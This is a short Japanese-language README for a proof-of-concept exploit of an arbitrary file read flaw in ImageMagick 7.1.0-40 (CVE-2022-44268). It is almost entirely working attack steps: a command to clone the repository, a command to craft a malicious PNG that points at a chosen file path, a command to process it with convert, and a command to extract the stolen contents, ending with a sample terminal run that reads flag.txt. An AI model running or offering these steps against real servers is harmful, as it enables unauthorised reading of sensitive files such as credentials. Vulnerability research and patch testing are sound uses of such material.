これを発見した研究者へのクレジット:
ImageMagick 7.1.0-40 を悪用する悪意のある PNG を作成します:
免責事項: このプロジェクトの作者は、このプロジェクトの素材によって生じる可能性のあるいかなる損害に対しても責任を負いません。
pip install Pillow)craft.py を使用した PNG の作成:
git clone https://github.com/agathanon/cve-2022-44268
cd cve-2022-44268
python3 craft.py original.png lol.png /path/to/file
extract.py を使用したデータ抽出:
python3 extract.py exfil.png
anon@computer:~/code/cve-2022-44268$ python3 craft.py original.png readflag.png $PWD/flag.txt
anon@computer:~/code/cve-2022-44268$ convert readflag.png -resize 100x100 exfil.png
anon@computer:~/code/cve-2022-44268$ python3 extract.py exfil.png
AAAABBBBCCCC
anon@computer:~/code/cve-2022-44268$